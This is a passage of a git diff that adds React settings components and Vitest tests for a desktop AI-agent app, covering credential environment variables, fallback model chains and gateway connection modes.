+            <div className="flex flex-wrap items-center gap-4 text-xs text-muted-foreground">
+              <label className="flex items-center gap-2">
+                <Checkbox
+                  checked={form.makeDefault}
+                  onCheckedChange={checked => setForm(current => ({ ...current, makeDefault: checked === true }))}
+                />
+                Use for new chats
+              </label>
+              <label className="flex items-center gap-2">
+                <Checkbox
+                  checked={form.discoverModels}
+                  onCheckedChange={checked => setForm(current => ({ ...current, discoverModels: checked === true }))}
+                />
+                Discover models
+              </label>
+            </div>
+            <div className="flex flex-wrap gap-2">
+              <Button
+                disabled={testing || !form.baseUrl.trim()}
+                onClick={() => void handleValidate()}
+                variant="outline"
+              >
+                {testing ? <Loader2 className="animate-spin" /> : <Zap />}
+                Test
+              </Button>
+              <Button disabled={saving || !canSave} onClick={() => void handleSave()}>
+                {saving ? <Loader2 className="animate-spin" /> : <Save />}
+                Save
+              </Button>
+              <Button
+                className={cn(!form.id && 'hidden')}
+                onClick={() => {
+                  setForm(EMPTY_FORM)
+                  setDiscoveredModels([])
+                }}
+                type="button"
+                variant="ghost"
+              >
+                New endpoint
+              </Button>
+            </div>
+          </div>
+        </section>
+      </div>
+    </SettingsContent>
+  )
+}
diff --git a/ui-desktop/src/app/settings/env-credentials.tsx b/ui-desktop/src/app/settings/env-credentials.tsx
new file mode 100644
index 000000000..db8d79e38
--- /dev/null
+++ b/ui-desktop/src/app/settings/env-credentials.tsx
@@ -0,0 +1,199 @@
+import { useEffect, useState } from 'react'
+
+import { deleteEnvVar, getEnvVars, revealEnvVar, setEnvVar } from '@/clawcodex'
+import { useI18n } from '@/i18n'
+import { type IconComponent } from '@/lib/icons'
+import { notify, notifyError } from '@/store/notifications'
+import type { EnvVarInfo } from '@/types/clawcodex'
+
+import { asText, includesQuery, redactedValue, withoutKey } from './helpers'
+import { Pill } from './primitives'
+import type { EnvRowProps } from './types'
+
+// Shared filter used by every credential surface (Providers + Keys pages):
+// category gate first, then a free-text match across key name + description.
+export function filterEnv(info: EnvVarInfo, key: string, q: string, cat: string, extra?: string): boolean {
+  if (asText(info.category) !== cat) {
+    return false
+  }
+
+  if (!q) {
+    return true
+  }
+
+  return (
+    key.toLowerCase().includes(q) ||
+    includesQuery(info.description, q) ||
+    Boolean(extra && extra.toLowerCase().includes(q))
+  )
+}
+
+export function SettingsCategoryHeading({ count, icon: Icon, title }: CategoryHeadingProps) {
+  return (
+    <div className="mb-3 flex items-center gap-2 text-[length:var(--conversation-text-font-size)] font-medium">
+      <Icon className="size-4 text-muted-foreground" />
+      <span>{title}</span>
+      {count && <Pill>{count}</Pill>}
+    </div>
+  )
+}
+
+// Owns the env-var fetch + the edit/reveal/save/delete lifecycle so multiple
+// credential pages (Providers, Keys) share one source of truth and one set of
+// mutation handlers instead of duplicating the plumbing.
+export function useEnvCredentials(): UseEnvCredentials {
+  const { t } = useI18n()
+  const credentials = t.settings.credentials
+  const toolsets = t.settings.toolsets
+  const [vars, setVars] = useState<Record<string, EnvVarInfo> | null>(null)
+  const [edits, setEdits] = useState<Record<string, string>>({})
+  const [revealed, setRevealed] = useState<Record<string, string>>({})
+  const [saving, setSaving] = useState<string | null>(null)
+
+  // Best-effort cleanup of a retired localStorage flag (global "Show
+  // advanced" toggle) — everything in these views is configuration-level.
+  useEffect(() => {
+    try {
+      window.localStorage.removeItem('desktop.settings.keys.show_advanced')
+    } catch {
+      // Ignore — old key cleanup is best-effort.
+    }
+  }, [])
+
+  useEffect(() => {
+    let cancelled = false
+
+    void (async () => {
+      try {
+        const next = await getEnvVars()
+
+        if (!cancelled) {
+          setVars(next)
+        }
+      } catch (err) {
+        notifyError(err, t.settings.keys.failedLoad)
+      }
+    })()
+
+    return () => void (cancelled = true)
+    // eslint-disable-next-line react-hooks/exhaustive-deps -- load once on mount; copy is stable
+  }, [])
+
+  function patchVar(key: string, patch: Partial<Pick<EnvVarInfo, 'is_set' | 'redacted_value'>>) {
+    setVars(c => (c ? { ...c, [key]: { ...c[key], ...patch } } : c))
+  }
+
+  function clearLocalState(key: string) {
+    setEdits(c => withoutKey(c, key))
+    setRevealed(c => withoutKey(c, key))
+  }
+
+  async function handleSave(key: string) {
+    const value = edits[key]
+
+    if (!value) {
+      return
+    }
+
+    setSaving(key)
+
+    try {
+      await setEnvVar(key, value)
+      patchVar(key, { is_set: true, redacted_value: redactedValue(value) })
+      clearLocalState(key)
+      notify({ kind: 'success', title: toolsets.savedTitle, message: toolsets.savedMessage(key) })
+    } catch (err) {
+      notifyError(err, toolsets.failedSave(key))
+    } finally {
+      setSaving(null)
+    }
+  }
+
+  // Direct save for a known value (no edit-state round-trip) — used by the
+  // onboarding-style key form, which owns its own input. Returns a result so
+  // the form can surface inline errors instead of only toasting.
+  async function saveValue(key: string, value: string): Promise<{ message?: string; ok: boolean }> {
+    const trimmed = value.trim()
+
+    if (!trimmed) {
+      return { message: credentials.enterValueFirst, ok: false }
+    }
+
+    setSaving(key)
+
+    try {
+      await setEnvVar(key, trimmed)
+      patchVar(key, { is_set: true, redacted_value: redactedValue(trimmed) })
+      clearLocalState(key)
+      notify({ kind: 'success', message: toolsets.savedMessage(key), title: toolsets.savedTitle })
+
+      return { ok: true }
+    } catch (err) {
+      notifyError(err, toolsets.failedSave(key))
+
+      return { message: err instanceof Error ? err.message : credentials.couldNotSave, ok: false }
+    } finally {
+      setSaving(null)
+    }
+  }
+
+  async function handleClear(key: string) {
+    if (!window.confirm(toolsets.removeConfirm(key))) {
+      return
+    }
+
+    setSaving(key)
+
+    try {
+      await deleteEnvVar(key)
+      patchVar(key, { is_set: false, redacted_value: null })
+      clearLocalState(key)
+      notify({ kind: 'success', title: toolsets.removedTitle, message: toolsets.removedMessage(key) })
+    } catch (err) {
+      notifyError(err, toolsets.failedRemove(key))
+    } finally {
+      setSaving(null)
+    }
+  }
+
+  async function handleReveal(key: string) {
+    if (revealed[key]) {
+      setRevealed(c => withoutKey(c, key))
+
+      return
+    }
+
+    try {
+      const result = await revealEnvVar(key)
+      setRevealed(c => ({ ...c, [key]: result.value }))
+    } catch (err) {
+      notifyError(err, toolsets.failedReveal(key))
+    }
+  }
+
+  return {
+    saveValue,
+    vars,
+    rowProps: {
+      edits,
+      revealed,
+      saving,
+      setEdits,
+      onSave: handleSave,
+      onClear: handleClear,
+      onReveal: handleReveal
+    }
+  }
+}
+
+interface CategoryHeadingProps {
+  count?: string
+  icon: IconComponent
+  title: string
+}
+
+interface UseEnvCredentials {
+  rowProps: Omit<EnvRowProps, 'varKey' | 'info'>
+  saveValue: (key: string, value: string) => Promise<{ message?: string; ok: boolean }>
+  vars: Record<string, EnvVarInfo> | null
+}
diff --git a/ui-desktop/src/app/settings/env-var-actions-menu.tsx b/ui-desktop/src/app/settings/env-var-actions-menu.tsx
new file mode 100644
index 000000000..fadab259f
--- /dev/null
+++ b/ui-desktop/src/app/settings/env-var-actions-menu.tsx
@@ -0,0 +1,179 @@
+import type * as React from 'react'
+
+import {
+  type ActionItemSpec,
+  ActionsContextMenu,
+  ActionsMenu,
+  type MenuKit,
+  renderActionItem
+} from '@/components/ui/actions-menu'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { ExternalLink, Eye, EyeOff, KeyRound, Trash2 } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+interface EnvVarActions {
+  clearDisabled?: boolean
+  docsUrl?: string | null
+  isRevealed?: boolean
+  isSet: boolean
+  label: string
+  onClear?: () => void
+  onEdit: () => void
+  /** Internal navigation to Settings → API Keys with this key highlighted.
+   *  Rendered only when provided AND the key is set (an unset key is managed
+   *  right here via Set). */
+  onManageKeys?: () => void
+  onReveal?: () => void
+  showReveal?: boolean
+}
+
+// The shared action rows, rendered identically by the kebab dropdown and the
+// row's right-click menu so the two never drift.
+function useEnvVarItems({
+  clearDisabled = false,
+  docsUrl,
+  isRevealed = false,
+  isSet,
+  onClear,
+  onEdit,
+  onManageKeys,
+  onReveal,
+  showReveal = true
+}: EnvVarActions) {
+  const { t } = useI18n()
+  const copy = t.settings.envActions
+  const hasClear = isSet && onClear
+  const hasReveal = isSet && showReveal && onReveal
+  const hasManageKeys = isSet && onManageKeys
+  const hasDocs = Boolean(docsUrl?.trim())
+
+  return (kit: MenuKit) => {
+    const rows: ActionItemSpec[] = []
+
+    if (hasDocs) {
+      rows.push({
+        iconNode: <ExternalLink className="size-3.5" />,
+        key: 'docs',
+        label: copy.docs,
+        onSelect: event => {
+          event.preventDefault()
+          triggerHaptic('selection')
+          window.open(docsUrl!, '_blank', 'noopener,noreferrer')
+        }
+      })
+    }
+
+    if (hasReveal) {
+      rows.push({
+        iconNode: isRevealed ? <EyeOff className="size-3.5" /> : <Eye className="size-3.5" />,
+        key: 'reveal',
+        label: isRevealed ? copy.hideValue : copy.revealValue,
+        onSelect: () => {
+          triggerHaptic('selection')
+          onReveal()
+        }
+      })
+    }
+
+    rows.push({
+      icon: 'edit',
+      key: 'edit',
+      label: isSet ? copy.replace : copy.set,
+      onSelect: () => {
+        triggerHaptic('selection')
+        onEdit()
+      }
+    })
+
+    if (hasManageKeys) {
+      rows.push({
+        iconNode: <KeyRound className="size-3.5" />,
+        key: 'manage-keys',
+        label: copy.manageInKeys,
+        onSelect: () => {
+          triggerHaptic('selection')
+          onManageKeys()
+        }
+      })
+    }
+
+    return (
+      <>
+        {rows.map(row => renderActionItem(kit, row))}
+        {hasClear && (
+          <>
+            <kit.Separator />
+            {renderActionItem(kit, {
+              disabled: clearDisabled,
+              iconNode: <Trash2 className="size-3.5" />,
+              key: 'clear',
+              label: copy.clear,
+              onSelect: () => {
+                triggerHaptic('warning')
+                onClear()
+              },
+              variant: 'destructive'
+            })}
+          </>
+        )}
+      </>
+    )
+  }
+}
+
+interface EnvVarActionsMenuProps
+  extends EnvVarActions, Pick<React.ComponentProps<typeof ActionsMenu>, 'align' | 'sideOffset'> {
+  children: React.ReactNode
+}
+
+export function EnvVarActionsMenu({ align = 'end', children, sideOffset = 6, ...actions }: EnvVarActionsMenuProps) {
+  const { t } = useI18n()
+  const copy = t.settings.envActions
+  const items = useEnvVarItems(actions)
+
+  return (
+    <ActionsMenu align={align} ariaLabel={copy.actions} contentClassName="w-44" items={items} sideOffset={sideOffset}>
+      {children}
+    </ActionsMenu>
+  )
+}
+
+interface EnvVarContextMenuProps extends EnvVarActions {
+  children: React.ReactNode
+}
+
+/** Wrap an env-var row so right-clicking it opens the same menu as its kebab. */
+export function EnvVarContextMenu({ children, ...actions }: EnvVarContextMenuProps) {
+  const { t } = useI18n()
+  const copy = t.settings.envActions
+  const items = useEnvVarItems(actions)
+
+  return (
+    <ActionsContextMenu ariaLabel={copy.actions} contentClassName="w-44" items={items}>
+      {children}
+    </ActionsContextMenu>
+  )
+}
+
+export function EnvVarActionsTrigger({
+  className,
+  ...props
+}: Omit<React.ComponentProps<typeof Button>, 'size' | 'variant'>) {
+  const { t } = useI18n()
+  const copy = t.settings.envActions
+
+  return (
+    <Button
+      aria-label={copy.actions}
+      className={cn('text-muted-foreground hover:text-foreground', className)}
+      size="icon-sm"
+      variant="ghost"
+      {...props}
+    >
+      <Codicon name="ellipsis" size="0.875rem" />
+    </Button>
+  )
+}
diff --git a/ui-desktop/src/app/settings/fallback-models-field.test.tsx b/ui-desktop/src/app/settings/fallback-models-field.test.tsx
new file mode 100644
index 000000000..bd81646f5
--- /dev/null
+++ b/ui-desktop/src/app/settings/fallback-models-field.test.tsx
@@ -0,0 +1,129 @@
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
+
+// Radix Select calls scrollIntoView / pointer-capture APIs jsdom lacks.
+beforeAll(() => {
+  Element.prototype.scrollIntoView = vi.fn()
+  Element.prototype.hasPointerCapture = vi.fn(() => false)
+  Element.prototype.releasePointerCapture = vi.fn()
+})
+
+const getGlobalModelOptions = vi.fn()
+
+vi.mock('@/clawcodex', () => ({
+  getGlobalModelOptions: () => getGlobalModelOptions()
+}))
+
+beforeEach(() => {
+  getGlobalModelOptions.mockResolvedValue({
+    providers: [
+      { name: 'GitHub Copilot', slug: 'copilot', models: ['gpt-5-mini', 'gpt-5.4-mini'] },
+      { name: 'OpenAI Codex', slug: 'openai-codex', models: ['gpt-5.4-mini'] },
+      { name: 'Nous', slug: 'nous', models: ['clawcodex-4'] }
+    ]
+  })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+async function renderField(value: unknown, onChange = vi.fn()) {
+  const { FallbackModelsField } = await import('./fallback-models-field')
+  const client = new QueryClient({ defaultOptions: { queries: { retry: false } } })
+
+  render(
+    <QueryClientProvider client={client}>
+      <FallbackModelsField onChange={onChange} value={value} />
+    </QueryClientProvider>
+  )
+
+  return onChange
+}
+
+async function renderFieldWithRerender(value: unknown, onChange = vi.fn()) {
+  const { FallbackModelsField } = await import('./fallback-models-field')
+  const client = new QueryClient({ defaultOptions: { queries: { retry: false } } })
+
+  const view = render(
+    <QueryClientProvider client={client}>
+      <FallbackModelsField onChange={onChange} value={value} />
+    </QueryClientProvider>
+  )
+
+  return (next: unknown) =>
+    view.rerender(
+      <QueryClientProvider client={client}>
+        <FallbackModelsField onChange={onChange} value={next} />
+      </QueryClientProvider>
+    )
+}
+
+const CHAIN = [
+  { provider: 'copilot', model: 'gpt-5-mini' },
+  { provider: 'openai-codex', model: 'gpt-5.4-mini' }
+]
+
+describe('FallbackModelsField', () => {
+  it('renders each {provider, model} entry as its own row (never "[object Object]")', async () => {
+    await renderField(CHAIN)
+
+    // One Remove control per entry proves the object list became rows — the old
+    // generic `list` input stringified the array to "[object Object]".
+    expect(screen.getAllByLabelText('Remove')).toHaveLength(2)
+    expect(screen.getByText('Add fallback')).toBeTruthy()
+    expect(screen.queryByText(/\[object Object\]/)).toBeNull()
+    await waitFor(() => expect(getGlobalModelOptions).toHaveBeenCalled())
+  })
+
+  it('removing a row emits the remaining entries', async () => {
+    const onChange = await renderField(CHAIN)
+
+    fireEvent.click(screen.getAllByLabelText('Remove')[0])
+
+    expect(onChange.mock.calls.at(-1)?.[0]).toEqual([{ provider: 'openai-codex', model: 'gpt-5.4-mini' }])
+  })
+
+  it('adding a blank row does not persist a partial entry', async () => {
+    const onChange = await renderField(CHAIN)
+
+    fireEvent.click(screen.getByText('Add fallback'))
+
+    // The new empty row stays in the UI but only complete pairs are emitted.
+    expect(onChange.mock.calls.at(-1)?.[0]).toEqual(CHAIN)
+    expect(screen.getAllByLabelText('Remove')).toHaveLength(3)
+  })
+
+  it('shows an empty-state hint when there are no fallbacks', async () => {
+    await renderField([])
+
+    expect(screen.getByText(/No fallback models/)).toBeTruthy()
+    expect(screen.queryAllByLabelText('Remove')).toHaveLength(0)
+  })
+
+  it('resyncs rows when persisted config changes', async () => {
+    const rerender = await renderFieldWithRerender(CHAIN)
+    expect(screen.getAllByLabelText('Remove')).toHaveLength(2)
+
+    rerender([{ provider: 'nous', model: 'clawcodex-4' }])
+
+    await waitFor(() => expect(screen.getAllByLabelText('Remove')).toHaveLength(1))
+  })
+
+  it('keeps a draft row visible after autosave re-renders the same persisted chain', async () => {
+    const onChange = vi.fn()
+    const rerender = await renderFieldWithRerender([], onChange)
+
+    fireEvent.click(screen.getByText('Add fallback'))
+
+    expect(onChange.mock.calls.at(-1)?.[0]).toEqual([])
+    expect(screen.getAllByLabelText('Remove')).toHaveLength(1)
+
+    // Parent autosave echo — same complete chain, new array identity.
+    rerender([])
+
+    await waitFor(() => expect(screen.getAllByLabelText('Remove')).toHaveLength(1))
+  })
+})
diff --git a/ui-desktop/src/app/settings/fallback-models-field.tsx b/ui-desktop/src/app/settings/fallback-models-field.tsx
new file mode 100644
index 000000000..b79694048
--- /dev/null
+++ b/ui-desktop/src/app/settings/fallback-models-field.tsx
@@ -0,0 +1,170 @@
+import { useQuery } from '@tanstack/react-query'
+import { useEffect, useRef, useState } from 'react'
+
+import { getGlobalModelOptions } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+import { useI18n } from '@/i18n'
+import { Plus, X } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+import { CONTROL_TEXT } from './constants'
+
+interface FallbackEntry {
+  provider: string
+  model: string
+}
+
+// Normalize the raw config value (`fallback_providers`: a list of
+// `{provider, model}` dicts) into editor rows. Defensive against legacy string
+// entries ("provider/model") so the editor never crashes on odd data.
+function normalizeEntries(value: unknown): FallbackEntry[] {
+  if (!Array.isArray(value)) {
+    return []
+  }
+
+  return value.map(item => {
+    if (item && typeof item === 'object') {
+      const record = item as Record<string, unknown>
+
+      return { provider: String(record.provider ?? ''), model: String(record.model ?? '') }
+    }
+
+    if (typeof item === 'string') {
+      const slash = item.indexOf('/')
+
+      return slash > 0
+        ? { provider: item.slice(0, slash), model: item.slice(slash + 1) }
+        : { provider: '', model: item }
+    }
+
+    return { provider: '', model: '' }
+  })
+}
+
+function completeEntries(rows: FallbackEntry[]): FallbackEntry[] {
+  return rows.filter(entry => entry.provider && entry.model)
+}
+
+function entriesEqual(a: FallbackEntry[], b: FallbackEntry[]): boolean {
+  return (
+    a.length === b.length &&
+    a.every((entry, index) => entry.provider === b[index]?.provider && entry.model === b[index]?.model)
+  )
+}
+
+/**
+ * Structured editor for the top-level `fallback_providers` config list — a
+ * chain of `{provider, model}` pairs tried in order when the default model
+ * fails. Replaces the generic comma-string `list` input, which stringified the
+ * objects to "[object Object], [object Object]".
+ *
+ * Mirrors the Auxiliary Models picker in `model-settings.tsx`: provider + model
+ * selects sourced from `getGlobalModelOptions()`. Half-filled rows are kept in
+ * local state and only complete pairs are emitted upward, so the config
+ * autosave never persists a partial `{provider, model: ''}`.
+ */
+export function FallbackModelsField({
+  value,
+  onChange
+}: {
+  value: unknown
+  onChange: (next: FallbackEntry[]) => void
+}) {
+  const { t } = useI18n()
+  const m = t.settings.model
+
+  const modelOptions = useQuery({
+    queryKey: ['model-options', 'global'],
+    queryFn: () => getGlobalModelOptions()
+  })
+
+  const providers = (modelOptions.data?.providers ?? []).filter(provider => provider.slug)
+
+  const [rows, setRows] = useState<FallbackEntry[]>(() => normalizeEntries(value))
+  // Last complete chain we emitted (or seeded). Autosave echoes the same
+  // filtered list back through `value`; ignore that echo so draft rows stay.
+  const lastEmittedRef = useRef(normalizeEntries(value))
+
+  // Resync on real external changes (profile switch / config reload). Skip
+  // when `value` is just our own commit echoing through the parent.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const persisted = normalizeEntries(value)
+
+    if (entriesEqual(persisted, lastEmittedRef.current)) {
+      return
+    }
+
+    lastEmittedRef.current = persisted
+    setRows(persisted)
+  }, [value])
+
+  const commit = (next: FallbackEntry[]) => {
+    const complete = completeEntries(next)
+
+    setRows(next)
+    lastEmittedRef.current = complete
+    onChange(complete)
+  }
+
+  const updateRow = (index: number, patch: Partial<FallbackEntry>) =>
+    commit(rows.map((entry, i) => (i === index ? { ...entry, ...patch } : entry)))
+
+  return (
+    <div className="grid w-full gap-1.5">
+      {rows.length === 0 && <p className="text-xs text-muted-foreground">{m.fallbackEmpty}</p>}
+      {rows.map((entry, index) => {
+        const providerRow = providers.find(provider => provider.slug === entry.provider)
+        const catalog = providerRow?.models ?? []
+        // Keep an out-of-catalog model selectable so an existing custom
+        // provider/model renders instead of showing a blank box.
+        const modelItems = entry.model && !catalog.includes(entry.model) ? [entry.model, ...catalog] : catalog
+
+        return (
+          <div className="flex flex-wrap items-center gap-2" key={index}>
+            <span className="w-4 shrink-0 text-center font-mono text-[0.7rem] text-muted-foreground">{index + 1}</span>
+            <Select onValueChange={provider => updateRow(index, { provider, model: '' })} value={entry.provider}>
+              <SelectTrigger className={cn('min-w-36', CONTROL_TEXT)}>
+                <SelectValue placeholder={m.provider} />
+              </SelectTrigger>
+              <SelectContent>
+                {providers.map(provider => (
+                  <SelectItem key={provider.slug} value={provider.slug}>
+                    {provider.name}
+                  </SelectItem>
+                ))}
+              </SelectContent>
+            </Select>
+            <Select onValueChange={model => updateRow(index, { model })} value={entry.model}>
+              <SelectTrigger className={cn('min-w-52 flex-1', CONTROL_TEXT)}>
+                <SelectValue placeholder={m.model} />
+              </SelectTrigger>
+              <SelectContent>
+                {modelItems.map(model => (
+                  <SelectItem key={model} value={model}>
+                    {model}
+                  </SelectItem>
+                ))}
+              </SelectContent>
+            </Select>
+            <Button
+              aria-label={t.common.remove}
+              onClick={() => commit(rows.filter((_, i) => i !== index))}
+              size="icon-xs"
+              variant="ghost"
+            >
+              <X className="size-3.5" />
+            </Button>
+          </div>
+        )
+      })}
+      <div>
+        <Button onClick={() => commit([...rows, { provider: '', model: '' }])} size="sm" variant="textStrong">
+          <Plus className="size-3.5" />
+          {m.fallbackAdd}
+        </Button>
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/field-copy.ts b/ui-desktop/src/app/settings/field-copy.ts
new file mode 100644
index 000000000..5fda9c3b8
--- /dev/null
+++ b/ui-desktop/src/app/settings/field-copy.ts
@@ -0,0 +1,57 @@
+export interface FieldCopyTree {
+  [key: string]: string | FieldCopyTree
+}
+
+function schemaSegmentToFieldCopySegment(segment: string): string {
+  return segment.replace(/_([a-z0-9])/g, (_, char: string) => char.toUpperCase())
+}
+
+function isFieldCopyTree(value: unknown): value is FieldCopyTree {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+export function schemaKeyToFieldCopyKey(schemaKey: string): string {
+  return schemaKey.split('.').map(schemaSegmentToFieldCopySegment).join('.')
+}
+
+export function fieldCopyForSchemaKey(copy: Record<string, string>, schemaKey: string): string | undefined {
+  return copy[schemaKeyToFieldCopyKey(schemaKey)] ?? copy[schemaKey]
+}
+
+export function defineFieldCopy(copy: FieldCopyTree): Record<string, string> {
+  const result: Record<string, string> = {}
+
+  const visit = (node: FieldCopyTree, prefix: string[] = []) => {
+    for (const [key, value] of Object.entries(node)) {
+      const parts = key.split('.')
+
+      if (parts.some(part => part.length === 0)) {
+        throw new Error(`Invalid field copy key: ${[...prefix, key].join('.')}`)
+      }
+
+      const path = [...prefix, ...parts]
+
+      if (typeof value === 'string') {
+        const flatKey = path.join('.')
+
+        if (Object.prototype.hasOwnProperty.call(result, flatKey)) {
+          throw new Error(`Duplicate field copy key: ${flatKey}`)
+        }
+
+        result[flatKey] = value
+
+        continue
+      }
+
+      if (!isFieldCopyTree(value)) {
+        throw new Error(`Invalid field copy value for key: ${path.join('.')}`)
+      }
+
+      visit(value, path)
+    }
+  }
+
+  visit(copy)
+
+  return result
+}
diff --git a/ui-desktop/src/app/settings/gateway-settings.test.ts b/ui-desktop/src/app/settings/gateway-settings.test.ts
new file mode 100644
index 000000000..a221a4c5a
--- /dev/null
+++ b/ui-desktop/src/app/settings/gateway-settings.test.ts
@@ -0,0 +1,19 @@
+import { describe, expect, it } from 'vitest'
+
+import { savedCloudConnectionUrl } from './gateway-settings'
+
+describe('savedCloudConnectionUrl', () => {
+  it('normalizes the URL of a persisted cloud connection', () => {
+    expect(savedCloudConnectionUrl({ mode: 'cloud', remoteUrl: ' HTTPS://AGENT.EXAMPLE/ ' })).toBe(
+      'https://agent.example'
+    )
+  })
+
+  it('does not treat a stale cloud URL on a local config as connected', () => {
+    expect(savedCloudConnectionUrl({ mode: 'local', remoteUrl: 'https://agent.example' })).toBe('')
+  })
+
+  it('does not treat a remote gateway URL as a connected cloud agent', () => {
+    expect(savedCloudConnectionUrl({ mode: 'remote', remoteUrl: 'https://agent.example' })).toBe('')
+  })
+})
diff --git a/ui-desktop/src/app/settings/gateway-settings.test.tsx b/ui-desktop/src/app/settings/gateway-settings.test.tsx
new file mode 100644
index 000000000..4198751df
--- /dev/null
+++ b/ui-desktop/src/app/settings/gateway-settings.test.tsx
@@ -0,0 +1,121 @@
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { atom } from 'nanostores'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ProfileInfo } from '@/types/clawcodex'
+
+const getConnectionConfig = vi.fn()
+const saveConnectionConfig = vi.fn()
+const profiles = atom<ProfileInfo[]>([])
+
+vi.mock('@/store/profile', () => ({
+  $profiles: profiles,
+  refreshActiveProfile: vi.fn()
+}))
+
+const localConnection = {
+  cloudOrg: '',
+  envOverride: false,
+  mode: 'local',
+  remoteAuthMode: 'token',
+  remoteOauthConnected: false,
+  remoteTokenPreview: null,
+  remoteTokenSet: false,
+  remoteUrl: ''
+}
+
+beforeEach(() => {
+  profiles.set([
+    {
+      has_env: false,
+      is_default: true,
+      model: null,
+      name: 'default',
+      path: '/tmp/clawcodex',
+      provider: null,
+      skill_count: 0
+    },
+    {
+      has_env: false,
+      is_default: false,
+      model: null,
+      name: 'work',
+      path: '/tmp/clawcodex/profiles/work',
+      provider: null,
+      skill_count: 0
+    }
+  ])
+  getConnectionConfig.mockResolvedValue(localConnection)
+  saveConnectionConfig.mockResolvedValue(localConnection)
+  Object.defineProperty(window, 'clawcodexDesktop', {
+    configurable: true,
+    value: { getConnectionConfig, saveConnectionConfig }
+  })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+describe('GatewaySettings', () => {
+  it('labels local mode as default inheritance for a named profile', async () => {
+    const { GatewaySettings } = await import('./gateway-settings')
+
+    render(<GatewaySettings />)
+    expect(await screen.findByText('Local gateway')).toBeTruthy()
+    expect(
+      screen.getByText('Start a private ClawCodex backend on localhost. This is the default and works offline.')
+    ).toBeTruthy()
+
+    fireEvent.click(screen.getByRole('button', { name: 'work' }))
+
+    await waitFor(() => expect(getConnectionConfig).toHaveBeenLastCalledWith('work'))
+    expect(await screen.findByText('Use default gateway')).toBeTruthy()
+    expect(screen.getByText("Remove this profile's override and use the default connection.")).toBeTruthy()
+    expect(
+      screen.queryByText('Start a private ClawCodex backend on localhost. This is the default and works offline.')
+    ).toBeNull()
+  })
+
+  it('shows and clears an SSH remote-profile mapping for a named Desktop profile', async () => {
+    getConnectionConfig.mockImplementation(async profile =>
+      profile === 'work'
+        ? {
+            ...localConnection,
+            mode: 'ssh',
+            profile: 'work',
+            sshHost: 'remote-box',
+            sshUser: 'alice',
+            sshPort: 22,
+            sshKeyPath: '',
+            sshRemoteClawCodexPath: '/opt/clawcodex/bin/clawcodex',
+            sshRemoteProfile: 'default'
+          }
+        : localConnection
+    )
+    saveConnectionConfig.mockReturnValue(new Promise(() => {}))
+    const { GatewaySettings } = await import('./gateway-settings')
+
+    render(<GatewaySettings />)
+    fireEvent.click(await screen.findByRole('button', { name: 'work' }))
+
+    await waitFor(() => expect(getConnectionConfig).toHaveBeenLastCalledWith('work'))
+    expect(await screen.findByText('Remote profile (optional)')).toBeTruthy()
+
+    const input = screen.getByPlaceholderText('work')
+
+    expect((input as HTMLInputElement).value).toBe('default')
+    fireEvent.change(input, { target: { value: '' } })
+    fireEvent.click(screen.getByRole('button', { name: 'Save for next restart' }))
+
+    await waitFor(() =>
+      expect(saveConnectionConfig).toHaveBeenCalledWith(
+        expect.objectContaining({
+          profile: 'work',
+          sshRemoteProfile: ''
+        })
+      )
+    )
+  })
+})
diff --git a/ui-desktop/src/app/settings/gateway-settings.tsx b/ui-desktop/src/app/settings/gateway-settings.tsx
new file mode 100644
index 000000000..689eb389c
--- /dev/null
+++ b/ui-desktop/src/app/settings/gateway-settings.tsx
@@ -0,0 +1,1521 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useMemo, useRef, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+import { Tip } from '@/components/ui/tooltip'
+import type { DesktopAuthProvider, DesktopCloudAgent, DesktopCloudOrg, DesktopConnectionProbeResult } from '@/global'
+import { useI18n } from '@/i18n'
+import { ExternalLink } from '@/lib/external-link'
+import {
+  AlertCircle,
+  Check,
+  Cloud,
+  FileText,
+  Globe,
+  HelpCircle,
+  Loader2,
+  LogIn,
+  Monitor,
+  RefreshCw,
+  Terminal
+} from '@/lib/icons'
+import { coerceRemoteUrlScheme } from '@/lib/remote-url'
+import { selectableCardClass } from '@/lib/selectable-card'
+import { cn } from '@/lib/utils'
+import { notify, notifyError } from '@/store/notifications'
+import { $profiles, refreshActiveProfile } from '@/store/profile'
+
+import { CONTROL_TEXT } from './constants'
+import { EmptyState, ListRow, Pill, SettingsContent, SettingsSkeleton } from './primitives'
+import { enrichSelectedSshHost, selectSshHost } from './ssh-host-selection'
+
+type Mode = 'local' | 'remote' | 'cloud' | 'ssh'
+type AuthMode = 'oauth' | 'token'
+type ProbeStatus = 'idle' | 'probing' | 'done' | 'error'
+// ClawCodex Cloud discovery lifecycle for the cloud-mode panel.
+type CloudDiscoverStatus = 'idle' | 'loading' | 'done' | 'error'
+
+interface GatewaySettingsState {
+  envOverride: boolean
+  mode: Mode
+  remoteAuthMode: AuthMode
+  remoteOauthConnected: boolean
+  remoteTokenPreview: string | null
+  remoteTokenSet: boolean
+  remoteUrl: string
+  cloudOrg: string
+  sshHost: string
+  sshUser: string
+  sshPort: number | null
+  sshKeyPath: string
+  sshRemoteClawCodexPath: string
+  sshRemoteProfile: string
+}
+
+const SSH_HOST_CUSTOM = '__custom__'
+
+const EMPTY_STATE: GatewaySettingsState = {
+  envOverride: false,
+  mode: 'local',
+  remoteAuthMode: 'token',
+  remoteOauthConnected: false,
+  remoteTokenPreview: null,
+  remoteTokenSet: false,
